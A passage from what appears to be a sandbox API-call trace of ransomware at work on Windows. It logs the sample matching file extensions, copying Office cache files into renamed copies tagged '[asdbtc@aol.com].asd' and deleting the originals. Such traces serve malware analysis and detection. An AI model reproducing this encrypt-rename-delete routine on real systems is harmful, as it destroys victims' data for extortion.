(lpString=".1cd") returned 4 [0043.050] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0043.050] lstrlenW (lpString=".jpg") returned 4 [0043.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.050] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.050] lstrlenW (lpString="VisioMUI.xml") returned 12 [0043.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0043.567] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=9503) returned 1 [0043.567] CloseHandle (hObject=0x16c) returned 1 [0043.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0043.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0043.567] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.567] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.568] GetLastError () returned 0x0 [0043.568] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x251f, lpOverlapped=0x0) returned 1 [0043.570] WriteFile (in: hFile=0x178, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x2520, lpOverlapped=0x0) returned 1 [0043.571] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.571] WriteFile (in: hFile=0x178, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.572] SetEndOfFile (hFile=0x178) returned 1 [0043.572] CloseHandle (hObject=0x178) returned 1 [0043.573] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.573] SetEndOfFile (hFile=0x16c) returned 1 [0043.574] CloseHandle (hObject=0x16c) returned 1 [0043.574] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.574] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0043.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.574] lstrlenW (lpString=".doc") returned 4 [0043.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString=".docx") returned 5 [0043.575] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.575] lstrlenW (lpString=".pdf") returned 4 [0043.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString=".xls") returned 4 [0043.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString=".xlsx") returned 5 [0043.575] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.575] lstrlenW (lpString=".ppt") returned 4 [0043.575] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.575] lstrlenW (lpString=".zip") returned 4 [0043.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.575] lstrlenW (lpString=".rar") returned 4 [0043.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString=".bz2") returned 4 [0043.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString=".7z") returned 3 [0043.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.575] lstrlenW (lpString=".dbf") returned 4 [0043.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.575] lstrlenW (lpString=".1cd") returned 4 [0043.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.575] lstrlenW (lpString=".jpg") returned 4 [0043.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.576] lstrlenW (lpString=".doc") returned 4 [0043.576] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString=".docx") returned 5 [0043.576] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.576] lstrlenW (lpString=".pdf") returned 4 [0043.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString=".xls") returned 4 [0043.576] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString=".xlsx") returned 5 [0043.576] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.576] lstrlenW (lpString=".ppt") returned 4 [0043.576] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.576] lstrlenW (lpString=".zip") returned 4 [0043.576] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.576] lstrlenW (lpString=".rar") returned 4 [0043.576] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString=".bz2") returned 4 [0043.576] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString=".7z") returned 3 [0043.576] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.576] lstrlenW (lpString=".dbf") returned 4 [0043.576] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.576] lstrlenW (lpString=".1cd") returned 4 [0043.576] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0043.576] lstrlenW (lpString=".jpg") returned 4 [0043.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.577] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.577] lstrlenW (lpString="Setup.xml") returned 9 [0043.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.599] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1452) returned 1 [0043.599] CloseHandle (hObject=0x198) returned 1 [0043.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.600] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.600] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.600] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.600] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.600] GetLastError () returned 0x0 [0043.600] ReadFile (in: hFile=0x198, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0043.602] WriteFile (in: hFile=0x19c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0043.604] ReadFile (in: hFile=0x198, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.604] WriteFile (in: hFile=0x19c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.604] SetEndOfFile (hFile=0x19c) returned 1 [0043.604] CloseHandle (hObject=0x19c) returned 1 [0043.612] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.612] SetEndOfFile (hFile=0x198) returned 1 [0043.613] CloseHandle (hObject=0x198) returned 1 [0043.613] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.613] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.614] lstrlenW (lpString=".doc") returned 4 [0043.614] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.614] lstrlenW (lpString=".docx") returned 5 [0043.614] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.614] lstrlenW (lpString=".pdf") returned 4 [0043.614] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.614] lstrlenW (lpString=".xls") returned 4 [0043.614] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.614] lstrlenW (lpString=".xlsx") returned 5 [0043.614] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.614] lstrlenW (lpString=".ppt") returned 4 [0043.614] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.614] lstrlenW (lpString=".zip") returned 4 [0043.614] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.614] lstrlenW (lpString=".rar") returned 4 [0043.614] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.614] lstrlenW (lpString=".bz2") returned 4 [0043.614] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.614] lstrlenW (lpString=".7z") returned 3 [0043.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.615] lstrlenW (lpString=".dbf") returned 4 [0043.615] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.615] lstrlenW (lpString=".1cd") returned 4 [0043.615] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.615] lstrlenW (lpString=".jpg") returned 4 [0043.615] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.615] lstrlenW (lpString=".doc") returned 4 [0043.615] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.615] lstrlenW (lpString=".docx") returned 5 [0043.615] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.615] lstrlenW (lpString=".pdf") returned 4 [0043.615] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.615] lstrlenW (lpString=".xls") returned 4 [0043.615] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.615] lstrlenW (lpString=".xlsx") returned 5 [0043.615] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.615] lstrlenW (lpString=".ppt") returned 4 [0043.615] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.615] lstrlenW (lpString=".zip") returned 4 [0043.615] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.615] lstrlenW (lpString=".rar") returned 4 [0043.616] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.616] lstrlenW (lpString=".bz2") returned 4 [0043.616] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.616] lstrlenW (lpString=".7z") returned 3 [0043.616] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.616] lstrlenW (lpString=".dbf") returned 4 [0043.616] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.616] lstrlenW (lpString=".1cd") returned 4 [0043.616] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.616] lstrlenW (lpString=".jpg") returned 4 [0043.616] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.616] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.616] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0043.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.992] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=5557) returned 1 [0043.995] CloseHandle (hObject=0x178) returned 1 [0043.995] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0043.995] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.995] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.995] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.995] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.996] GetLastError () returned 0x0 [0043.996] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x15b5, lpOverlapped=0x0) returned 1 [0044.126] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0044.127] ReadFile (in: hFile=0x178, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.127] WriteFile (in: hFile=0x1ac, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0044.127] SetEndOfFile (hFile=0x1ac) returned 1 [0044.127] CloseHandle (hObject=0x1ac) returned 1 [0044.128] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.128] SetEndOfFile (hFile=0x178) returned 1 [0044.129] CloseHandle (hObject=0x178) returned 1 [0044.129] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.129] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0044.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.130] lstrlenW (lpString=".doc") returned 4 [0044.130] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString=".docx") returned 5 [0044.130] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.130] lstrlenW (lpString=".pdf") returned 4 [0044.130] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString=".xls") returned 4 [0044.130] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString=".xlsx") returned 5 [0044.130] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.130] lstrlenW (lpString=".ppt") returned 4 [0044.130] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.130] lstrlenW (lpString=".zip") returned 4 [0044.130] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.130] lstrlenW (lpString=".rar") returned 4 [0044.130] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString=".bz2") returned 4 [0044.130] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString=".7z") returned 3 [0044.130] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.130] lstrlenW (lpString=".dbf") returned 4 [0044.130] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.130] lstrlenW (lpString=".1cd") returned 4 [0044.130] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.130] lstrlenW (lpString=".jpg") returned 4 [0044.130] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.131] lstrlenW (lpString=".doc") returned 4 [0044.131] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString=".docx") returned 5 [0044.131] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.131] lstrlenW (lpString=".pdf") returned 4 [0044.131] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString=".xls") returned 4 [0044.131] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString=".xlsx") returned 5 [0044.131] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.131] lstrlenW (lpString=".ppt") returned 4 [0044.131] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.131] lstrlenW (lpString=".zip") returned 4 [0044.131] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.131] lstrlenW (lpString=".rar") returned 4 [0044.131] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString=".bz2") returned 4 [0044.131] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.131] lstrlenW (lpString=".7z") returned 3 [0044.131] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0044.131] lstrlenW (lpString=".dbf") returned 4 [0044.131] 